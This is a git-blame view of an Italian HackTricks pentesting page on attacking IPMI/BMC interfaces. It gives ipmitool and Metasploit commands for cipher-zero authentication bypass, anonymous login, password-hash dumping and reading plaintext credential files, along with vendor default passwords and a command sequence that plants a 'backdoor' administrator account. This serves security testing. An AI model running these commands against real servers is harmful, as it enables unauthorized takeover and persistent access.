hacktricks/network-services-pentesting/623-udp-ipmi.md

146 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## Informazioni di base
2024-02-10 13:03:23 +00:00
### **Panoramica di IPMI**
2022-10-02 21:10:53 +00:00
2024-02-10 13:03:23 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre un approccio standardizzato per la gestione remota e il monitoraggio dei sistemi informatici, indipendentemente dal sistema operativo o dallo stato di alimentazione. Questa tecnologia consente agli amministratori di sistema di gestire i sistemi in remoto, anche quando sono spenti o non rispondono, ed è particolarmente utile per:
2022-10-02 21:10:53 +00:00
2024-02-10 13:03:23 +00:00
- Configurazioni di avvio pre-OS
- Gestione dello spegnimento
- Ripristino da guasti di sistema
2022-10-02 21:10:53 +00:00
2024-02-10 13:03:23 +00:00
IPMI è in grado di monitorare temperature, tensioni, velocità delle ventole e alimentatori, oltre a fornire informazioni sull'inventario, revisionare i log dell'hardware e inviare avvisi tramite SNMP. Per il suo funzionamento sono necessari una fonte di alimentazione e una connessione LAN.
2022-10-02 21:10:53 +00:00
2024-02-10 13:03:23 +00:00
Sin dalla sua introduzione da parte di Intel nel 1998, IPMI è stato supportato da numerosi fornitori, migliorando le capacità di gestione remota, soprattutto con il supporto della versione 2.0 per la seriale su LAN. I componenti chiave includono:
2024-02-10 13:03:23 +00:00
- **Baseboard Management Controller (BMC):** Il microcontrollore principale per le operazioni IPMI.
- **Bus e interfacce di comunicazione:** Per la comunicazione interna ed esterna, inclusi ICMB, IPMB e varie interfacce per connessioni locali e di rete.
- **Memoria IPMI:** Per memorizzare log e dati.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
2024-02-10 13:03:23 +00:00
**Porta predefinita**: 623/UDP/TCP (di solito è su UDP ma potrebbe essere in esecuzione anche su TCP)
2024-02-10 13:03:23 +00:00
## Enumerazione
2024-02-10 13:03:23 +00:00
### Scoperta
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
2024-02-10 13:03:23 +00:00
È possibile **identificare** la **versione** utilizzando:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-10 13:03:23 +00:00
### Vulnerabilità IPMI
2024-02-10 13:03:23 +00:00
Nel campo dell'IPMI 2.0, è stata scoperta una significativa falla di sicurezza da Dan Farmer, che espone una vulnerabilità attraverso il **tipo di cifratura 0**. Questa vulnerabilità, documentata in dettaglio nella ricerca di [Dan Farmer](http://fish2.com/ipmi/cipherzero.html), consente l'accesso non autorizzato con qualsiasi password, a condizione che venga preso di mira un utente valido. Questa debolezza è stata riscontrata in diverse BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0.
2024-02-10 13:03:23 +00:00
### **Bypass dell'autenticazione IPMI tramite Cipher 0**
2024-02-08 21:36:35 +00:00
2024-02-10 13:03:23 +00:00
Per rilevare questa falla, è possibile utilizzare il seguente scanner ausiliario di Metasploit:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
2024-02-10 13:03:23 +00:00
Lo sfruttamento di questa falla è possibile con `ipmitool`, come dimostrato di seguito, consentendo la visualizzazione e la modifica delle password degli utenti:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-10 13:03:23 +00:00
### **IPMI 2.0 Recupero Remoto dell'Hash della Password tramite Autenticazione RAKP**
2024-02-10 13:03:23 +00:00
Questa vulnerabilità consente il recupero delle password hashate con sale (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-10 13:03:23 +00:00
### **Autenticazione anonima IPMI**
2024-02-10 13:03:23 +00:00
Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente utilizzando `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-10 13:03:23 +00:00
### **Password in chiaro di Supermicro IPMI**
2024-02-10 13:03:23 +00:00
Una scelta di design critica in IPMI 2.0 richiede la memorizzazione delle password in chiaro all'interno dei BMC per scopi di autenticazione. La memorizzazione di queste password da parte di Supermicro in posizioni come `/nv/PSBlock` o `/nv/PSStore` solleva significative preoccupazioni per la sicurezza:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
2024-02-10 13:03:23 +00:00
### **Vulnerabilità UPnP di Supermicro IPMI**
2024-02-10 13:03:23 +00:00
L'inclusione da parte di Supermicro di un listener UPnP SSDP nel firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nella versione 1.3.1 dell'Intel SDK per UPnP Devices, come dettagliato dalla [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 21:36:35 +00:00
### Brute Force
2024-02-10 13:03:23 +00:00
**HP randomizza la password predefinita** per il suo prodotto **Integrated Lights Out (iLO)** durante la produzione. Questa pratica contrasta con altri produttori, che tendono ad utilizzare **credenziali predefinite statiche**. Di seguito viene fornito un riassunto degli username e delle password predefinite per vari prodotti:
2024-02-10 13:03:23 +00:00
- **HP Integrated Lights Out (iLO)** utilizza una **stringa di 8 caratteri generata casualmente in fabbrica** come password predefinita, mostrando un livello di sicurezza più elevato.
- Prodotti come **Dell's iDRAC, IBM's IMM** e **Fujitsu's Integrated Remote Management Controller** utilizzano password facilmente indovinabili come "calvin", "PASSW0RD" (con uno zero) e "admin" rispettivamente.
- Allo stesso modo, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** utilizzano anche credenziali predefinite semplici, con "ADMIN", "changeme" e "admin" come password.
2024-02-10 13:03:23 +00:00
## Accesso all'host tramite BMC
2024-02-10 13:03:23 +00:00
L'accesso amministrativo al Baseboard Management Controller (BMC) apre varie vie per accedere al sistema operativo dell'host. Un approccio diretto prevede lo sfruttamento della funzionalità Keyboard, Video, Mouse (KVM) del BMC. Ciò può essere fatto riavviando l'host a una shell di root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di salvataggio. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserimento di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è un inconveniente significativo. Senza riavviare, l'accesso all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in consegna tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
2024-02-10 13:03:23 +00:00
## Introduzione di backdoor nel BMC dall'host
2024-02-10 13:03:23 +00:00
Dopo aver compromesso un host dotato di un BMC, l'**interfaccia locale del BMC può essere sfruttata per inserire un account utente backdoor**, creando una presenza duratura sul server. Questo attacco richiede la presenza di **`ipmitool`** sull'host compromesso e l'attivazione del supporto del driver BMC. I seguenti comandi illustrano come un nuovo account utente può essere iniettato nel BMC utilizzando l'interfaccia locale dell'host, bypassando la necessità di autenticazione. Questa tecnica è applicabile a una vasta gamma di sistemi operativi, inclusi Linux, Windows, BSD e persino DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
2024-02-10 13:03:23 +00:00
* `porta:623`
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-10-02 21:10:53 +00:00
2024-02-10 13:03:23 +00:00
* [https://blog.rapid7.com/2013/07/02/guida-di-un-penetration-tester-su-ipmi/](https://blog.rapid7.com/2013/07/02/guida-di-un-penetration-tester-su-ipmi/)
2022-10-02 21:10:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>